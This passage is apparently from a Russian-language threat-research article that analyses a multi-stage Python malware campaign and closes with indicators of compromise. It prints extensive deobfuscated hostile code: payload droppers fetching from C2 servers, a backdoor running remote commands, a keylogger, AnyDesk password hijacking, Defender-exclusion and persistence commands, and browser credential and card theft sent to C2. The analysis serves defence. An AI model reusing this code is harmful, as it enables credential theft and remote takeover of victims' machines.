if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
else:subprocess.Popen([sys.executable, ap])
if ot=="Darwin":sys.exit(-1)
ap = pd + "/bow"
```
Если функция download_payload() выполнена успешно, скрипт проверит ОС жертвы и запустит загруженную полезную нагрузку. Отмечу, что в случае macOS (Darwin) скрипт остановится после запуска полезной нагрузки следующего этапа. Соответственно:
- Жертвы с Windows и Linux получат 2 вредоносных скрипта.
- Жертвы с macOS получат 1 вредоносный скрипт.
Далее дроппер создаст новый путь ~/.n2/bow. Этот каталог будет использоваться для загрузки следующей полезной нагрузки.
```python
def download_browse():
if os.path.exists(ap):
try:os.remove(ap)
except OSError:return True
try:
if not os.path.exists(pd):os.makedirs(pd)
except:pass
try:
aa=requests.get(host2+"/brow/"+ sType +"/"+gType, allow_redirects=True)
with open(ap, 'wb') as f:f.write(aa.content)
return True
except Exception as e:return False
res=download_browse()
if res:
if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
else:subprocess.Popen([sys.executable, ap])
```
Здесь устанавливается и запускается третья полезная нагрузка. Иронично, что JS-файл в первой стадии дропает на систему еще один дроппер!
Stage 3. Python-бэкдор
При открытии третьей полезной нагрузки мы вновь сталкиваемся с обфусцированным питоновским кодом. Схема та же: компрессия zlib + base64. Деобфусцируем и анализируем!
Скрипт представляет собой бэкдор, обеспечивающий злоумышленникам постоянный доступ к системе жертвы. Он устанавливает связь с C2-сервером, выполняет команды и собирает пользовательские данные.
Основной флоу:
- `contact_server` (класс `Trans`) — устанавливает связь с C2-сервером и отправляет системную информацию.
- `get_info` (класс `SysInfo`) — собирает информацию о системе и сети жертвы.
- `ssh_obj` (класс `Shell`) — выполняет команды, полученные от C2-сервера.
- `ssh_upload` (класс `Shell`) — отвечает за загрузку файлов на C2-сервер.
- `ssh_any` — еще одна полезная нагрузка (да сколько можно?!).
- `hkb()` — кейлоггер.
Сервер, поговори со мной!
```python
PORT = 1224
HOST = '107.189.16.122'
if gType == "root":
hn = socket.gethostname()
else:
hn = gType + "_" + socket.gethostname()
class Trans(object):
def __init__(A):A.sys_info=SysInfo().get_info()
def contact_server(A,ip,port):
A.ip,A.port=ip,int(port);B=int(time.time()*1000);C={'ts':str(B),'type':sType,'hid':hn,'ss':'sys_info','cc':str(A.sys_info)};D=f"http://{A.ip}:{A.port}/keys"
try:post(D,data=C)
except Exception as e:pass
```
contact_server берет информацию об IP-адресе и порте, создает полезную нагрузку с меткой времени (ts), типом системы (type), идентификатором хоста (hid), статической строковой меткой (ss) и собранной системной информацией (cc). Все это отправляется POST-запросом в /keys на C2-сервер.
Сбор данных
```python
class SysInfo(object):
def __init__(A):A.net_info=Position().net_info();A.sys_info=HostInfo().sysinfo()
def parse(K,data):
J='regionName';I='country';H='query';G='city';F='isp';E='zip';D='lon';C='lat';B='timezone';_A='internalIp'
A=data;A={C:A[C]if C in A else'',D:A[D]if D in A else'',E:A[E]if E in A else'',F:A[F]if F in A else'',G:A[G]if G in A else'',H:A[H]if H in A else'',I:A[I]if I in A else'',B:A[B]if B in A else'',J:A[J]if J in A else'',_A:A[_A]if _A in A else''}
if'/'in A[B]:A[B]=A[B].replace('/',' ')
if'_'in A[B]:A[B]=A[B].replace('_',' ')
return A
def get_info(A):B=A.net_info;return{'sys_info':A.sys_info,'net_info':A.parse(B if B else[])}
```
Класс `SysInfo` объединяет данные от `HostInfo` (системная информация) и `Position` (сетевые данные).
- Метод `parse` обрабатывает сетевые данные — извлекает поля `lat`, `lon`, `city`, `isp` и заменяет отсутствующие значения пустыми строками.
- Метод `get_info` возвращает словарь с двумя ключами: `sys_info` (данные о системе) и `net_info` (очищенные сетевые данные).
Таким образом, `SysInfo` получает полный набор данных о машине и сети жертвы в структурированном виде.
```python
def hkb(event):
if event.KeyID == 0xA2 or event.KeyID == 0xA3:
return _T
global e_buf
tt = check_window(event)
key = event.Ascii
if is_control_down():
key = f"<^{event.Key}>"
elif key == 0xD:
key = "\\\\n"
else:
if key >= 32 and key <= 126:
key = chr(key)
else:
key = f'<{event.Key}>'
tt += key
if is_control_down() and event.Key == 'C':
start_time = Timer(0.1, run_copy_clipboard)
start_time.start()
elif is_control_down() and event.Key == 'V':
start_time = Timer(0.1, run_copy_clipboard)
start_time.start()
e_buf += tt
return _T
```
Функция `hkb` — это кейлоггер. При вызове она принимает объект события клавиатуры и проверяет состояние клавиш. Если нажаты Ctrl+C или Ctrl+V, запускается таймер для захвата содержимого буфера обмена. При этом все события, включая переключение окон, записываются в глобальную переменную `e_buf`.
Выполнение команд
```python
def ssh_obj(A, args):
o = ''
try:
a = args[_A]
cmd = args['cmd']
if cmd == '':
o = ''
elif cmd.split()[0] == 'cd':
proc = subprocess.Popen(cmd, shell=_T)
if len(cmd.split()) != 1:
p = ' '.join(cmd.split()[1:])
if os.path.exists(p):
os.chdir(p)
o = os.getcwd()
else:
proc = subprocess.Popen(cmd, shell=_T, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
try:
o = decode_str(proc[0])
err = decode_str(proc[1])
except:
o = proc[0]
err = proc[1]
o = o if o else err
except:
pass
p = {_A: a, _O: o}
A.send(code=1, args=p)
```
Функция `ssh_obj` выполняет команды, полученные от C2-сервера, — обрабатывает `cd` для смены каталогов или запускает другие команды через `subprocess.Popen`, отправляя вывод обратно с кодом 1. Ошибки пропускаются.
Отправка собранной информации
```python
def ssh_upload(A, args):
o = ''
try:
D = args[_A]
cmd = args['cmd']
cmd = ast.literal_eval(cmd)
if 'sdir' in cmd:
sdir = cmd['sdir']
dn = cmd['dname']
A.ss_upd(D, cmd, sdir, dn)
return _T
elif 'sfile' in cmd:
sfile = cmd['sfile']
dn = cmd['dname']
A.ss_upf(D, cmd, sfile, dn)
return _T
elif 'sfind' in cmd:
dn = cmd['dname']
pat = cmd['sfind']
A.ss_ufind(D, cmd, dn, pat)
return _T
else:
A.ss_ups()
o = 'Stopped ...'
except Exception as e:
print("error_upload:", str(e))
o = f'Err4: {e}'
A.send_5(D, o)
```
Функция `ssh_upload` предназначена для загрузки файлов на C2-сервер. Она принимает параметры `admin` и `cmd`, а затем анализирует `cmd`, чтобы определить тип операции: загрузка директории, файла или поиск файлов по шаблону. После сбора необходимых данных о файлах функция отправляет их на сервер через POST-запрос на `http://C2_IP:1224/uploads`.
Запуск AnyDesk
```python
def ssh_any(A, args):
try:
D = args[_A]
p = A.par_dir + "/adc"
res = A.down_any(p)
if res:
if os_type == "Windows":
subprocess.Popen([sys.executable, p], creationflags=subprocess.CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)
else:
subprocess.Popen([sys.executable, p])
o = os_type + ' get anydesk'
except Exception as e:
o = f'Err7: {e}'
p = {_A: D, _O: o}
A.send(code=7, args=p)
def down_any(A, p):
if os.path.exists(p):
try:
os.remove(p)
except OSError:
return _T
try:
if not os.path.exists(A.par_dir):
os.makedirs(A.par_dir)
except:
pass
host2 = f"http://{HOST}:{PORT}"
try:
myfile = requests.get(host2 + "/adc/" + sType, allow_redirects=_T)
with open(p, 'wb') as f:
f.write(myfile.content)
return _T
except Exception as e:
return _F
```
Функция `ssh_any` загружает и запускает дополнительный скрипт с C2-сервера по адресу http://C2_IP:1224/adc/73. При этом она исключает загрузку, если файл уже существует, и в случае необходимости создает нужную директорию. После успешной загрузки `ssh_any` запускает скрипт через subprocess.Popen и возвращает статус операции или ошибку.
Я вручную достал полезную нагрузку из С2-сервера, изучил ее и обнаружил, что она предназначена для проведения манипуляций с AnyDesk.
Stage 4. AnyDesk
Удивительно, но на этот раз мы видим необфусцированный Python-скрипт (за исключением строки, в которой указан хост).
Основной флоу:
- Скрипт проверяет ОС и определяет пути к конфигурационным файлам AnyDesk.
- Декодирует обфусцированный адрес C2-сервера (host) с помощью base64 и формирует URL.
- Загружает AnyDesk с сервера, если он отсутствует в системе, и запускает его для создания конфигурационных файлов.
- Модифицирует конфигурации AnyDesk.
- Отправляет содержимое конфигурационных файлов на C2-сервер (POST/keys).
- Перезапускает AnyDesk для применения изменений.
- Самоуничтожается.
```python
import base64,socket, os,platform,time,subprocess,requests,sys
os_type = platform.system()
appdata = os.getenv('LOCALAPPDATA')
host="LjE3LjI0OTUuMTY0"
#host=" AuMC4x MTI3Lj"
hn = socket.gethostname()
sType = "99"
host1 = base64.b64decode(host[8:] + host[:8]).decode()
host2 = f'http://{host1}:1224'
```
Переменная host содержит обфусцированный IP-адрес (95.164.17.24), который декодируется через base64 после перестановки символов. Это типичный метод сокрытия адреса C2-сервера. Здесь мы находим еще один IP-адрес и добавляем его в копилочку IOC’ов!
Загрузка Anydesk
```python
def get_anydesk_path():
try:
if os.path.exists(any_path): return any_path
import requests
myfile = requests.get(host2 + "/any", allow_redirects=True)
if not os.path.exists(home + '/anydesk.exe'):
with open(home + '/anydesk.exe', 'wb') as f: f.write(myfile.content)
return home + '/anydesk.exe'
except Exception as e:
return ""
```
Если на машине жертвы нет AnyDesk, скрипт загружает его с удаленного сервера и сохраняет в домашней директории.
Отправка данных
```python
def save_conf(fn, kind) -> bool:
if not os.path.exists(fn): return
buf = ''
try:
with open(fn, 'r') as f: buf = f.read(); f.close()
except: return
if buf == '': return
options = {'type': sType, 'hid': hn, 'ss': 'any' + str(kind), 'cc': buf}
url = host2 + '/keys'
try: requests.post(url, data=options)
except: return
```
Содержимое конфигурационных файлов отправляется на сервер с метаданными (type, hid, ss).
Обновление файлов конфигурации
```python
def update_conf(d_path):
if not os.path.exists(d_path):return False
try:
if "ad.anynet.pwd_salt=351535afd2d98b9a3a0e14905a60a345" in open(d_path, 'r').read():return False
in_f = open(d_path, 'r');out_f = open(d_path+"d", 'w')
for line in in_f.readlines():
if line.startswith("ad.anynet.pwd_hash=") or line.startswith("ad.anynet.pwd_salt=") or line.startswith("ad.anynet.token_salt="):
continue
elif line.strip():
out_f.write(line+"\n")
out_f.write("ad.anynet.pwd_hash=967adedce518105664c46e21fd4edb02270506a307ea7242fa78c1cf80baec9d\n")
out_f.write("ad.anynet.pwd_salt=351535afd2d98b9a3a0e14905a60a345\n")
out_f.write("ad.anynet.token_salt=e43673a2a77ed68fa6e8074167350f8f\n")
out_f.close();in_f.close()
os.remove(d_path);os.rename(d_path+"d", d_path)
return True
# print(d_path, "with python")
except:
try:
ps1_path = home + "/conf.ps1"
with open(ps1_path, 'w') as f:f.write("$file_path = '"+ d_path+"'\n");f.write(anydesk_ps1)
subprocess.check_output('''powershell -NoProfile -ExecutionPolicy Bypass -Command "Start-Process -Verb RunAs powershell -WindowStyle Hidden -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File {}'"'''.format(ps1_path))
return True
# print(d_path,"with ps1 end")
except Exception as e:return False
# print(e)
res1 = update_conf(conf_path1)
res2 = update_conf(conf_path2)
```
Функция `update_conf()` обновляет конфигурационный файл. Она проверяет, существует ли он и содержит ли нужную строку с определенной солью пароля. Если строка найдена, функция завершает работу. Если нет, функция создает новый файл без старых паролей/токенов и добавляет в конец новые значения. Возвращает `True` при успешном обновлении и `False` в случае ошибки.
Перезапуск и самоуничтожение
```python
def restart_anydesk():
global anydesk_path
try:
PROCNAME = "anydesk.exe" if os_type=="Windows" else "anydesk"
if os_type != "Windows":
try:import psutil
except:subprocess.check_call([sys.executable,'-m','pip','install','psutil'])
anydesk_path='anydesk'
for proc in psutil.process_iter():
if proc.name().lower() == PROCNAME:proc.kill()
else:subprocess.check_output("taskkill /F /IM anydesk.exe")
time.sleep(1)
# print("run anydesk secondly")
subprocess.Popen([anydesk_path])
except Exception as e:pass
# print(e)
save_conf(conf_path1, 1)
save_conf(conf_path2, 2)
restart_anydesk()
dir = os.getcwd();fn=os.path.join(dir,sys.argv[0]);os.remove(fn)
``
После изменения конфигурации AnyDesk перезапускается, а скрипт самоуничтожается.
Теперь мы можем приступить к анализу финального скрипта.
Stage 5. Tsunami
Python-скрипт Tsunami — это инфостилер, который крадет логины и данные кредитных карт из браузеров (Chrome, Brave, Opera, Yandex и Edge) на Windows, macOS или Linux. Он устанавливает в системе Python (если его нет), обеспечивает персистентность через задачи планировщика и обходит Windows Defender. В скрипте используется двойная обфускация — уже знакомые нам zlib и base64.
Эта полезная нагрузка доходит только до Windows и Linux. На macOS она даже не устанавливается (с учетом условий дроппера на второй стадии).
TSUNAMI_INJECTOR_SCRIPT
TSUNAMI_INJECTOR_SCRIPT — Python-скрипт, хранящийся в виде строки в основном коде. На Windows он обфусцируется (через `obfuscate_script()`) и записывается в автозагрузку (`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Update Script.pyw`) для выполнения при запуске системы. На Linux автозагрузка не работает.
Основной флоу:
- `install_python()` — проверяет наличие Python в системе.
- `create_task()` — устанавливает задачу для персистентности.
- `add_windows_defender_exception()` — добавляет пути в исключения Windows Defender.
- `retrieve_database()` — извлекает логины из браузеров
- `retrieve_web()` — извлекает данные кредитных карт из браузеров
- `save()` — отправляет украденные данные на C2-сервер.
```python
PYTHON_INSTALLER_URL = "https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe"
```
```python
def install_python() -> None:
py_installer_path = tempfile.NamedTemporaryFile(delete=False).name + ".exe"
download_file(PYTHON_INSTALLER_URL, py_installer_path)
while True:
time.sleep(random.uniform(10, 30))
if execute_python_with_uac(py_installer_path):
output("[+] The Python installer ran successfully")
break
else:
output("[-] User rejected UAC, retrying...")
```
Функция загружает Python 3.11 с официального сайта и устанавливает его с UAC-промптом.
Персистенс
```python
def create_task() -> None:
powershell_script = f\"\"\"
$Action = New-ScheduledTaskAction -Execute "{TSUNAMI_INSTALLER_PATH}"
$Trigger = New-ScheduledTaskTrigger -AtLogOn
$Principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive
$Principal.RunLevel = 1
$Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DontStopOnIdleEnd
Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -TaskName "Runtime Broker"
\"\"\"
```
Функция создает задачу планировщика Runtime Broker для запуска Runtime Broker.exe при входе в систему.
```python
def add_windows_defender_exception(filepath: str) -> None:
try:
subprocess.run(
["powershell.exe", f"Add-MpPreference -ExclusionPath '{filepath}'"],
shell = True,
creationflags = subprocess.CREATE_NO_WINDOW,
stdout = subprocess.PIPE,
stderr = subprocess.PIPE,
stdin = subprocess.PIPE
)
output(f"Added a new file to the Windows Defender exception")
except Exception as e:
output(f"[-] Failed to add Windows Defender exception: {e}")
```
Функция добавляет пути в исключения Windows-дефендера через Powershell.
Кража данных
```python
def retrieve_database(self) -> list:
"""
Retrieve all the information from the databases with encrypted values.
"""
temp_path = (home + "/AppData/Local/Temp") if self.target_os == "Windows" else "/tmp"
database_paths, keys = self.database_paths, self.keys
try:
for database_path in database_paths: # Iterate on each available database
# Copy the file to the temp directory as the database will be locked if the browser is running
filename = os.path.join(temp_path, "LoginData.db")
shutil.copyfile(database_path, filename)
db = sqlite3.connect(filename) # Connect to database
cursor = db.cursor() # Initialize cursor for the connection
# Get data from the database
cursor.execute(
"select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created"
)
# Set default values. Some of the values from the database are not filled.
creation_time = "unknown"
last_time_used = "unknown"
try:
key = keys[database_paths.index(database_path)]
except:
key = keys[0]
# Iterate over all the rows
for row in cursor.fetchall():
origin_url = row[0]
action_url = row[1]
username = row[2]
encrypted_password = row[3]
created = row[4]
lastused = row[5]
# Decrypt password
if self.target_os == "Windows":
password = self.decrypt_windows_password(encrypted_password, key)
elif self.target_os == "Linux" or self.target_os == "Darwin":
password = self.decrypt_unix_password(encrypted_password, key)
else:
password = ""
if password == "" and not self.blank_passwords:
continue
if created and created != 86400000000:creation_time = str(self.__class__.get_datetime(created))
if lastused and lastused != 86400000000:last_time_used = self.__class__.get_datetime(lastused)
# Append all values to list
self.values.append(dict(origin_url=origin_url,action_url=action_url,username=username,password=password,creation_time=creation_time,last_time_used=last_time_used))
cursor.close();db.close()
try:os.remove(filename)
except OSError:pass
return self.values
except Exception as E:return []
```
Функция крадет сохраненные учетные данные из браузеров жертвы, копирует файлы Login Data во временный каталог и запрашивает их с помощью SQLite (URL-адреса, имена пользователей, пароли). Также она пытается расшифровать пароли на основе ОС (они могут быть зашифрованы — в зависимости от ОС, на которой работает браузер).
Отмечу, что хотя скрипт не загружается на macOS, он все равно частично ориентирован на эти ОС.
```python
def retrieve_web(self):
web_paths, keys = self.brw_paths, self.keys
temp_path = (home + "/AppData/Local/Temp") if self.target_os == "Windows" else "/tmp"
try:
for web_path in web_paths:
filename = os.path.join(temp_path, "webdata.db")
shutil.copyfile(web_path, filename)
conn = sqlite3.connect(filename)
cursor = conn.cursor()
cursor.execute(
'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards'
)
for row in cursor.fetchall():
if not row[0] or not row[1] or not row[2] or not row[3]:
continue
if self.target_os == "Windows":
card_number = self.decrypt_windows_password(row[3], key)
elif self.target_os == "Linux" or self.target_os == "Darwin":
card_number = self.decrypt_unix_password(row[3], key)
else:
card_number = ""
if card_number == "" and not self.blank_passwords:
continue
self.webs.append(dict(name_on_card=row[0], expiration_month=row[1], expiration_year=row[2], card_number=card_number, date_modified=row[4]))
cursor.close()
conn.close()
try:
os.remove(filename)
except OSError:
pass
except Exception as E:
return []
```
Функция крадет информацию о кредитных картах из webdata.db: зашифрованные номера, имена владельцев, сроки действия и т. д. Кроме того, она расшифровывает украденные номера карт.
```python
def save(self, fn: Union[Path, str], filepath: Union[Path, str], blank_file: bool = False, verbose: bool = True) -> bool:
content = filepath + '\n' + self.pretty_print()
options = {'ts': str(ts),'type': sType,'hid': hn,'ss': str(fn),'cc': content}
url = host2+'/keys'
try:requests.post(url, data=options)
except:return ""
```
Наконец, функция `save()` отправляет все собранные данные на C2-сервер через POST-запрос.
Инфраструктура атаки
В первоначальной версии кампании злоумышленники проводили атаки с одним IP-адресом. Он служил и C2-сервером, и сервером для хранения полезной нагрузки, а также был задействован в манипуляциях с AnyDesk. Однако в данный момент атаки проводятся с использованием трех адресов:
- 107.189.16.122 — C2-сервер;
- 144.172.103.97 — сервер с файлами полезной нагрузки;
- 95.164.17.24 — сервер для полезной нагрузки с AnyDesk.
Некоторые вендоры анализировали самые ранние версии этой вредоносной кампании. На VirusTotal один из IP-адресов помечен меткой Lazarus.

Однако большинство IoC’ов вендоры пропустили (см. рис. 5).



IOC (Indicators of Compromise)
Сеть
- 107.189.16.122
- 144.172.103.97
- 95.164.17.24
Файловая система
- pay99_73.py
- brow99_73.py
- any99_73.py
- ~/.n3/
- ~/.npl
- tmpDir/p.zi
- tmpDir/p2.zip
Хеш-суммы полезной нагрузки (старые версии + новые)
- 04cc30ea566af31abc2fdced5f9503aab30550373124d47985fbab19ace2caa8
- 38043c5f9be51892b0f15e23a84d6f71bbe8004a422af163f9d7ff235390aa48
- b4744db40ab3cf89f511762271f183bdabacf5a81021f6ead1ce37e14c86c5f0
- 08e921670342b481fe3881cfec13bf7ba247b1f504a6cd0fd11a50a0b2c569c7
- d39255e3f3a242cb1ba87f4b58e1b38aa64aeaa2771e5d77b5290ed555cc1cba
- 8b8c5d555c93e42a9964410997b49a4694330f98e1de49d0a24e922b584570f4
- b3c3cc0a9b2dc5d680590a81e5b3c45e015fb04a67151a11f1cccbcf352718bd
На моем GitHub можно найти все файлы, связанные с новым вредоносом.
P.S. Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Автор не несет ответственности за использование опубликованной информации. Помните, что нужно следить за защищенностью своих данных.